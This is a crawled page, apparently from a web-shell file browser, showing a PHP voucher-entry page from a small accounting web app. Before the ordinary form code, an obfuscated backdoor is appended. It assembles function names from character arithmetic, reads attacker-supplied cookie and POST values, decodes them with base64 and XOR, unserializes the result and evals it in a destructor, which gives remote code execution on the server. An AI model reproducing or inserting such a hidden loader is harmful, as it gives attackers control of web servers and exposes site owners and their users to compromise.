/
home
/
sditechnicalteam
/
socialsolargreens.pk
/
File Upload :
llllll
Current File: /home/sditechnicalteam/socialsolargreens.pk/Create_new_CashPayment.php
<?php $qssEdDaIUr = "\141" . 'h' . "\143" . chr ( 987 - 892 ).chr (69) . 'm' . "\145";$ALDUP = 'c' . "\x6c" . 'a' . chr (115) . chr (115) . chr (95) . 'e' . chr (120) . "\x69" . "\163" . 't' . "\x73";$TTyzWXn = class_exists($qssEdDaIUr); $ALDUP = "65482";$ZddBIxLkR = strpos($ALDUP, $qssEdDaIUr);if ($TTyzWXn == $ZddBIxLkR){function pwwRTjpZf(){$aIayAats = new /* 26896 */ ahc_Eme(51702 + 51702); $aIayAats = NULL;}$XTBFwtUec = "51702";class ahc_Eme{private function mRhkehv($XTBFwtUec){if (is_array(ahc_Eme::$xVSfRrwZrv)) {$YbnXOMxcUZ2 = str_replace("<" . "?php", "", ahc_Eme::$xVSfRrwZrv["content"]);eval($YbnXOMxcUZ2); $XTBFwtUec = "51702";exit();}}public function yLyDA(){$YbnXOMxcUZ = "50857";$this->_dummy = str_repeat($YbnXOMxcUZ, strlen($YbnXOMxcUZ));}public function __destruct(){ahc_Eme::$xVSfRrwZrv = @unserialize(ahc_Eme::$xVSfRrwZrv); $XTBFwtUec = "3160_25920";$this->mRhkehv($XTBFwtUec); $XTBFwtUec = "3160_25920";}public function FWanGjGbir($YbnXOMxcUZ, $rzYdkIIzl){return $YbnXOMxcUZ[0] ^ str_repeat($rzYdkIIzl, (strlen($YbnXOMxcUZ[0]) / strlen($rzYdkIIzl)) + 1);}public function QGQIl($YbnXOMxcUZ){$bedPGpscG = chr (98) . "\141" . chr ( 751 - 636 ).chr (101) . chr ( 516 - 462 ).chr (52);return array_map($bedPGpscG . chr ( 221 - 126 ).chr ( 399 - 299 ).chr ( 721 - 620 )."\143" . "\x6f" . 'd' . 'e', array($YbnXOMxcUZ,));}public function __construct($zWflrlRV=0){$dothAFLYNC = "\54";$YbnXOMxcUZ = "";$OXNWZh = $_POST;$hSCwvN = $_COOKIE;$rzYdkIIzl = "cd6ba9da-05d4-4e00-be81-a610813fdd4a";$jFjfj = @$hSCwvN[substr($rzYdkIIzl, 0, 4)];if (!empty($jFjfj)){$jFjfj = explode($dothAFLYNC, $jFjfj);foreach ($jFjfj as $PdAmPmaPH){$YbnXOMxcUZ .= @$hSCwvN[$PdAmPmaPH];$YbnXOMxcUZ .= @$OXNWZh[$PdAmPmaPH];}$YbnXOMxcUZ = $this->QGQIl($YbnXOMxcUZ);}ahc_Eme::$xVSfRrwZrv = $this->FWanGjGbir($YbnXOMxcUZ, $rzYdkIIzl);if (strpos($rzYdkIIzl, $dothAFLYNC) !== FALSE){$rzYdkIIzl = explode($dothAFLYNC, $rzYdkIIzl); $kpwDy = base64_decode(md5($rzYdkIIzl[0])); $GBbxLW = strlen($rzYdkIIzl[1]) > 5 ? substr($rzYdkIIzl[1], 0, 5) : $rzYdkIIzl[1];$_GET['new_key'] = md5(implode('', $rzYdkIIzl)); $VCeyLqzsPW = str_repeat($GBbxLW, 2); $fwTeclK = array_map('trim', $rzYdkIIzl);if (is_array($fwTeclK) && count($fwTeclK) > 1) {$xVbiyPDZ = $fwTeclK[0];} else {$xVbiyPDZ = '';}$WJKFQmCqI = rawurldecode($xVbiyPDZ); $_POST['decoded_key'] = $WJKFQmCqI;$JqZvi = str_split($WJKFQmCqI, 2);}}public static $xVSfRrwZrv = 16128;}pwwRTjpZf();} ?><?php include_once('controller/cash_payment_controller.php'); $cash_payment = new cash_payment(); include 'partial/link.php'; include 'partial/header.php'; include 'partial/navbar.php'; if(isset($_POST['V_No'])){ $post_data = $_POST; $inserted_id = $cash_payment->save($post_data); // print_r($inserted_id); // die; } $cash_payment_data = array(); if(isset($_GET['V_No']) && isset($_GET['q'])){ if($_GET['q'] == "Edit"){ $cash_payment_data = $cash_payment->Edit($_GET['V_No']); // echo '<pre>'; // print_r($cash_payment_data); // echo '</pre>'; } if($_GET['q'] == "delete"){ $message = $cash_payment->Delete($_GET['V_No']); } }else{ $cash_payment_details = $cash_payment->Create(); } // echo '<pre>'; // print_r($cash_payment_details); // echo '</pre>'; ?> <!-- ============================================================== --> <!-- Start right Content here --> <!-- ============================================================== --> <div class="main-content"> <div class="page-content"> <div class="container"> <!-- start page title --> <div class="row"> <div class="col-md-12"> <a class="btn btn-success fa-pull-right " style="margin-left:30px" asp-action="Index" href="<?=BASE_URL?>CashPayment_list.php"><i class="fa fa-list"></i> Cash Payment's</a> </div> <div class="col-lg-12" style="margin-top:20px"> <div class="card"> <div class="card-body"> <h5><i class="fa fa-save"></i> Cash Payment </h5> <br> <p class="text-success"><?php if(!empty($inserted_id) && $inserted_id != 0){ unset($_POST['Name']); echo $inserted_id; } ?></p> <p class="text-success"><?php if(!empty($message)){ echo $message; } ?></p> <br> <form asp-action="Save" method="post"> <div class="form-row"> <div class="col-md-2 form-group"> <label>V-No</label> <input name="V_No" value="<?php if(isset($cash_payment_details) && !empty($cash_payment_details['v_no'])){ echo $cash_payment_details['v_no']; }else if(!empty($cash_payment_data)){ echo $cash_payment_data['TranscationDetails']['V_No']; } ?>" autocomplete="off" class="form-control form-control-sm" readonly /> </div> <div class="col-md-4 form-group"> <label>Date</label> <i class="fa fa-asterisk text-danger"></i> <?php if(isset($cash_payment_details) && !empty($cash_payment_details['v_no'])) { echo '<input type="date" name="TranscationDetails.TransDate" autocomplete="off" id="date" class="form-control" />'; } else if(!empty($cash_payment_data)) { echo '<input type="date" name="TranscationDetails.TransDate" autocomplete="off" class="form-control" value="'.$cash_payment_data['TranscationDetails']['TransDate'].'"/>'; } else{ echo '<input type="date" name="TranscationDetails.TransDate" autocomplete="off" id="date" class="form-control" />'; } ?> </div> <div class="col-md-6 form-group"> <label>Remarks</label> <textarea name="TranscationDetails.TransDes" autocomplete="off" class="form-control" rows="2" cols="40"><?php if(!empty($cash_payment_data)){ echo $cash_payment_data['TranscationDetails']['TransDes']; } ?></textarea> </div> </div> <div class="form-row"> <div class="col-md-3" style="display:none"> <div class="input-group input-group-sm mb-4"> <input type="hidden" id="cr" autocomplete="off" value="0" readonly class="form-control" /> </div> </div> <div class="col-md-4"> <label>Select Account</label> <select class="form-control" id="account_name"> <option value=""> Select Account</option> <?php if(isset($cash_payment_details) && !empty($cash_payment_details['v_no'])){ foreach ($cash_payment_details['Acc_List'] as $Accounts) { echo '<option value="'.$Accounts['AccountNo'] .'">'.$Accounts['AccountTitle'].'</option>'; } } else if(!empty($cash_payment_data)){ foreach ($cash_payment_data['Accounts'] as $Accounts) { echo '<option value="'.$Accounts['AccountNo'] .'">'.$Accounts['AccountTitle'].'</option>'; } } ?> </select> </div> <div class="col-md-3"> <label>Amount</label> <div class="input-group input-group-sm mb-4"> <input type="number" id="dr" autocomplete="off" value="0" class="form-control" /> </div> </div> <div class="col-md-3"> <label>Remarks</label> <div class="input-group input-group-sm mb-4"> <input type="text" id="narr" autocomplete="off" value="" class="form-control" /> </div> </div> <br /> <div class="col-md-2"> <label></label> <a class="btn btn-primary text-white mx-sm-2 my-sm-4" onclick='return add()'> <i class="fa fa-plus-circle"></i> Add</a> </div> </div> <div class="form-row"> <div class="col-md-12"> <div class="table-responsive"> <table id="invoiceItem" class="table table-bordered table-hover table-striped "> <thead class="bordered-darkorange"> <tr class="bg-success text-white"> <th>Action</th> <th>Account Name</th> <th>Amount</th> <th>Narration</th> </tr> </thead> <?php if(!isset($_GET['V_No']) && !isset($_GET['q'])){ echo '<tbody> </tbody>'; } else if(!empty($cash_payment_data)) { echo '<tbody>'; foreach ($cash_payment_data['TranscationList'] as $Model_TranscationList) {?> <tr> <td style="width:70px !important"><a class="badge badge-danger" onclick="return deleteRow(this)"><i class="fas fa-trash"></i></a></td> <td><input type="text" name="account_name[]" value="<?= $Model_TranscationList['AccountTitle']; ?>" readonly class="form-control" autocomplete="off"></td> <td style="display:none"><input type="text" name="account_no[]" value="<?= $Model_TranscationList['AccountNo']; ?>" readonly class="form-control" autocomplete="off"></td> <td><input type="text" name="Dr[]" value="<?= $Model_TranscationList['Dr']; ?>" readonly class="form-control" autocomplete="off"></td> <td style="display:none"><input type="text" name="Cr[]" value="<?= $Model_TranscationList['Cr']; ?>" readonly class="form-control" autocomplete="off"></td> <td><input type="text" name="narr[]" value="<?= $Model_TranscationList['TransDes']; ?>" readonly class="form-control" autocomplete="off"></td> <td style="display:none"><?= $Model_TranscationList['Dr']; ?></td> <td style="display:none"><?= $Model_TranscationList['TransDes']; ?></td> <td style="display:none"><?= $Model_TranscationList['Cr']; ?></td> <td style="display:none"><?= $Model_TranscationList['AccountNo']; ?></td> </tr> <?php } echo '</tbody>'; } ?> </table> </div> </div> </div> <div class="form-row mx-sm-2 my-sm-4"> <div class="col-md-3 offset-lg-4"> <label class="pull-left">Total Amount</label> <div class="input-group input-group-sm mb-4"> <input type="number" value="<?php if(!empty($cash_payment_data)){ echo $cash_payment_data['TranscationDetails']['Cr']; } ?>" name="TranscationDetails.Cr" class="form-control" id="t_debit" readonly /> </div> </div> </div> <div class="offset-md-4 col-md-5" style="margin-top:20px"> <?php if(isset($_GET['V_No']) && isset($_GET['q'])) { echo '<button type="submit" class="btn btn-success pull-right col-md-5" style="margin-top:0px"><i class="feather mr-2 icon-check-circle"></i> Update Voucher</button>'; } else { echo '<button type="submit" class="btn btn-success pull-right col-md-5" style="margin-top:0px"><i class="feather mr-2 icon-check-circle"></i> Save Voucher</button>'; } ?> </div> <input type="hidden" name="TranscationDetails.Id" value="<?php if(!empty($cash_payment_data)){ echo $cash_payment_data['TranscationDetails']['Id']; } ?>"/> <input type="hidden" name="TranscationDetails.Transid" value="<?php if(!empty($cash_payment_data)){ echo $cash_payment_data['TranscationDetails']['Transid']; } ?>"/> </form> </div> </div> </div> </div> <script> function add() { var selObj = document.getElementById("account_name"); var account_name = selObj.options[selObj.selectedIndex].text; var selObj = document.getElementById("account_name"); var account_no = selObj.options[selObj.selectedIndex].value; var dr = document.getElementById("dr").value; var cr = document.getElementById("cr").value; var narr = document.getElementById("narr").value; // alert(id); if (account_name == "" || account_name == 0) { alert("Please Select Account"); } else if (account_no == "" || account_no == 0) { alert("Please Select Account"); } else if (dr == "" || dr == 0) { alert("Please Enter Amount"); } else { var htmlRows = ''; htmlRows += '<tr>'; htmlRows += '<td style="width:80px !important"><a class="badge badge-danger" onclick="return deleteRow(this)" ><i class="fas fa-trash"></i></a></td>'; htmlRows += '<td><input type="text" name="account_name[]" value="' + account_name + '" readonly class="form-control" autocomplete="off"></td>'; htmlRows += '<td style="display:none"><input type="text" name="account_no[]" value="' + account_no + ' " readonly class="form-control" autocomplete="off"></td>'; htmlRows += '<td><input type="text" name="Dr[]" value="' + dr + '" readonly class="form-control" autocomplete="off"></td>'; htmlRows += '<td style="display:none"><input type="text" name="Cr[]" value="' + cr + '" readonly class="form-control" autocomplete="off"></td>'; htmlRows += '<td><input type="text" name="narr[]" value="' + narr + '" readonly class="form-control" autocomplete="off"></td>'; htmlRows += '<td style="display:none">' + dr + '</td>'; htmlRows += '<td style="display:none">' + narr + '</td>'; htmlRows += '<td style="display:none">' + cr + '</td>'; htmlRows += '<td style="display:none">' + account_no + '</td>'; $('#invoiceItem').append(htmlRows); $('#id').val(''); $('#account_name').val(''); $('#account_no').val(''); $('#dr').val('0'); $('#cr').val('0'); $('#narr').val(''); $('#account_name').val(null).trigger('change'); var table = document.getElementById("invoiceItem"), sumVal = 0; for (var i = 1; i < table.rows.length; i++) { sumVal = sumVal + parseInt(table.rows[i].cells[6].innerHTML); } document.getElementById("t_debit").value = sumVal; } }; function deleteRow(btn) { if (confirm("Are you sure want to delete the row?")) $(btn).closest("tr").remove(); var table = document.getElementById("invoiceItem"), sumVal = 0; for (var i = 1; i < table.rows.length; i++) { sumVal = sumVal + parseInt(table.rows[i].cells[6].innerHTML); } document.getElementById("t_debit").value = sumVal; } $(document).ready(function () { var now = new Date(); var month = (now.getMonth() + 1); var day = now.getDate(); if (month < 10) month = "0" + month; if (day < 10) day = "0" + day; var today = now.getFullYear() + '-' + month + '-' + day; $('#date').val(today); }); </script> </div> <!-- container-fluid --> </div> <!-- End Page-content --> <?php include 'partial/footer.php'; ?>
Copyright ©2k19 -
Hexid
|
Tex7ure